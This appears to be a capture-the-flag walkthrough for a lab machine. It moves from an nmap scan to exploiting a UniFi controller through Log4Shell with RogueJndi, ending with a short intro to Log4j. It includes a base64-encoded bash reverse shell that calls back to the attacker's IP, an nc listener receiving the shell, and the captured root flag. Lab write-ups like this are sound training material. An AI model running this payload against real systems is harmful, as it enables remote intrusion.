┌──(root㉿kali)-[/home/kali/Desktop] └─# nmap -sC -sV 10.129.181.184 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-25 02:31 EDT Nmap scan report for 10.129.181.184 Host is up (0.36s latency). Not shown: 972 closed tcp ports (reset) PORT STATE SERVICE VERSION 17/tcp filtered qotd 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519) 465/tcp filtered smtps 714/tcp filtered iris-xpcs 765/tcp filtered webster 1055/tcp filtered ansyslmd 1110/tcp filtered nfsd-status 1198/tcp filtered cajo-discovery 3001/tcp filtered nessus 3351/tcp filtered btrieve 3737/tcp filtered xpanel 3914/tcp filtered listcrt-port-2 4111/tcp filtered xgrid 5431/tcp filtered park-agent 5510/tcp filtered secureidprop 5906/tcp filtered rpas-c2 6789/tcp open ibm-db2-admin? 8011/tcp filtered unknown 8080/tcp open http-proxy | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 | Content-Type: text/html;charset=utf-8 | Content-Language: en | Content-Length: 431 | Date: Tue, 25 Jul 2023 06:35:50 GMT | Connection: close | <!doctype html><html lang="en"><head><title>HTTP Status 404 | Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 | Found</h1></body></html> | GetRequest, HTTPOptions: | HTTP/1.1 302 | Location: http://localhost:8080/manage | Content-Length: 0 | Date: Tue, 25 Jul 2023 06:35:49 GMT | Connection: close | RTSPRequest: | HTTP/1.1 400 | Content-Type: text/html;charset=utf-8 | Content-Language: en | Content-Length: 435 | Date: Tue, 25 Jul 2023 06:35:50 GMT | Connection: close | <!doctype html><html lang="en"><head><title>HTTP Status 400 | Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 | Request</h1></body></html> | Socks5: | HTTP/1.1 400 | Content-Type: text/html;charset=utf-8 | Content-Language: en | Content-Length: 435 | Date: Tue, 25 Jul 2023 06:35:52 GMT | Connection: close | <!doctype html><html lang="en"><head><title>HTTP Status 400 | Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 |_ Request</h1></body></html> 8192/tcp filtered sophos 8443/tcp open ssl/nagios-nsca Nagios NSCA | ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US | Subject Alternative Name: DNS:UniFi | Not valid before: 2021-12-30T21:37:24 |_Not valid after: 2024-04-03T21:37:24 8649/tcp filtered unknown 9091/tcp filtered xmltec-xmlmail 9102/tcp filtered jetdirect 10025/tcp filtered unknown 10215/tcp filtered unknown 32777/tcp filtered sometimes-rpc17 38292/tcp filtered landesk-cba 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8080-TCP:V=7.93%I=7%D=7/25%Time=64BF6D46%P=x86_64-pc-linux-gnu%r(Ge SF:tRequest,84,"HTTP/1\.1\x20302\x20\r\nLocation:\x20http://localhost:8080 SF:/manage\r\nContent-Length:\x200\r\nDate:\x20Tue,\x2025\x20Jul\x202023\x SF:2006:35:49\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptions,84,"H SF:TTP/1\.1\x20302\x20\r\nLocation:\x20http://localhost:8080/manage\r\nCon SF:tent-Length:\x200\r\nDate:\x20Tue,\x2025\x20Jul\x202023\x2006:35:49\x20 SF:GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,24E,"HTTP/1\.1\x204 SF:00\x20\r\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Language: SF:\x20en\r\nContent-Length:\x20435\r\nDate:\x20Tue,\x2025\x20Jul\x202023\ SF:x2006:35:50\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html><ht SF:ml\x20lang=\"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x93\x2 SF:0Bad\x20Request</title><style\x20type=\"text/css\">body\x20{font-family SF::Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;ba SF:ckground-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size SF::16px;}\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{c SF:olor:black;}\x20\.line\x20{height:1px;background-color:#525D76;border:n SF:one;}</style></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20 SF:Bad\x20Request</h1></body></html>")%r(FourOhFourRequest,24A,"HTTP/1\.1\ SF:x20404\x20\r\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Langu SF:age:\x20en\r\nContent-Length:\x20431\r\nDate:\x20Tue,\x2025\x20Jul\x202 SF:023\x2006:35:50\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html SF:><html\x20lang=\"en\"><head><title>HTTP\x20Status\x20404\x20\xe2\x80\x9 SF:3\x20Not\x20Found</title><style\x20type=\"text/css\">body\x20{font-fami SF:ly:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white; SF:background-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-si SF:ze:16px;}\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20 SF:{color:black;}\x20\.line\x20{height:1px;background-color:#525D76;border SF::none;}</style></head><body><h1>HTTP\x20Status\x20404\x20\xe2\x80\x93\x SF:20Not\x20Found</h1></body></html>")%r(Socks5,24E,"HTTP/1\.1\x20400\x20\ SF:r\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Language:\x20en\ SF:r\nContent-Length:\x20435\r\nDate:\x20Tue,\x2025\x20Jul\x202023\x2006:3 SF:5:52\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html><html\x20l SF:ang=\"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x2 SF:0Request</title><style\x20type=\"text/css\">body\x20{font-family:Tahoma SF:,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;backgroun SF:d-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size:16px;} SF:\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{color:bl SF:ack;}\x20\.line\x20{height:1px;background-color:#525D76;border:none;}</ SF:style></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20 SF:Request</h1></body></html>"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 411.50 seconds
探测注入点是否存在,If the request causes the server to connect back to us, then we have verified that the application is vulnerable.(假如请求引起的服务器回连我们,我们就已经验证了应用程序存在漏洞。)
┌──(root㉿kali)-[/home/kali/Desktop/rogue-jndi] └─# cd target
┌──(root㉿kali)-[/home/kali/Desktop/rogue-jndi/target] └─# java -jar RogueJndi-1.1.jar --help +-+-+-+-+-+-+-+-+-+ |R|o|g|u|e|J|n|d|i| +-+-+-+-+-+-+-+-+-+ Usage: java -jar target/RogueJndi-1.0.jar [options] Options: -c, --command Command to execute on the target server (default: /Applications/Calculator.app/Contents/MacOS/Calculator) -n, --hostname Local HTTP server hostname (required for remote classloading and websphere payloads) (default: 127.0.1.1) -l, --ldapPort Ldap bind port (default: 1389) -p, --httpPort Http bind port (default: 8000) --wsdl [websphere1 payload option] WSDL file with XXE payload (default: /list.wsdl) --localjar [websphere2 payload option] Local jar file to load (this file should be located on the remote server) (default: ../../../../../tmp/jar_cache7808167489549525095.tmp) -h, --help Show this help
┌──(root㉿kali)-[/home/kali/Desktop/rogue-jndi/target] └─# java -jar RogueJndi-1.1.jar --command"bash -c {echo,L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYvZGV2L3RjcC8xMC4xMC4xNC44NC80NDQ0IDA+JjEnCg==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.84" +-+-+-+-+-+-+-+-+-+ |R|o|g|u|e|J|n|d|i| +-+-+-+-+-+-+-+-+-+ Starting HTTP server on 0.0.0.0:8000 Starting LDAP server on 0.0.0.0:1389 Mapping ldap://10.10.14.84:1389/o=websphere1 to artsploit.controllers.WebSphere1 Mapping ldap://10.10.14.84:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1 Mapping ldap://10.10.14.84:1389/ to artsploit.controllers.RemoteReference Mapping ldap://10.10.14.84:1389/o=reference to artsploit.controllers.RemoteReference Mapping ldap://10.10.14.84:1389/o=tomcat to artsploit.controllers.Tomcat Mapping ldap://10.10.14.84:1389/o=websphere2 to artsploit.controllers.WebSphere2 Mapping ldap://10.10.14.84:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2 Mapping ldap://10.10.14.84:1389/o=groovy to artsploit.controllers.Groovy
1 2 3 4 5 6 7 8
┌──(root㉿kali)-[/home/kali/Desktop] └─# nc -lvp 4444 listening on [any] 4444 ... 10.129.202.83: inverse host lookup failed: Unknown host connect to [10.10.14.84] from (UNKNOWN) [10.129.202.83] 48416 bash: cannot set terminal process group (7): Inappropriate ioctl for device bash: no job control in this shell unifi@unified:/usr/lib/unifi$
1 2 3 4 5 6 7 8 9 10 11 12 13 14
unifi@unified:/usr/lib/unifi$ ls -al ls -al total 40 drwxr-xr-x 1 unifi unifi 4096 Jul 31 12:36 . drwxr-xr-x 1 root root 4096 Jan 2 2022 .. drwxr-xr-x 2 unifi unifi 4096 Jan 2 2022 bin lrwxrwxrwx 1 root root 11 Sep 20 2021 data -> /unifi/data drwxr-xr-x 3 unifi unifi 4096 Jan 2 2022 dl drwxr-xr-x 3 unifi unifi 12288 Jan 2 2022 lib lrwxrwxrwx 1 root root 10 Sep 20 2021 logs -> /unifi/log lrwxrwxrwx 1 root root 14 Sep 20 2021 run -> /var/run/unifi drwxr-xr-x 3 unifi unifi 4096 Jan 2 2022 webapps drwxr-xr-x 3 unifi unifi 4096 Jul 31 12:36 work unifi@unified:/usr/lib/unifi$
root@unified:~# ls root.txt root@unified:~# cat root.txt e50bc93c75b634e4b272d2f771c33681
Listening
You may be wondering what it is, and why people are so concerned about it. Some even call it the worst vulnerability since Wannna Cry.
Log4j is a popular logging library for Java created in 2001. It is part of the Apache Software Foundation, however, this doesn’t mean the maintainers are paid. All of their work is volunteer-based.
The logging library’s main purpose is to provide developers with a way to change the format and verbosity of logging through configuration files versus code.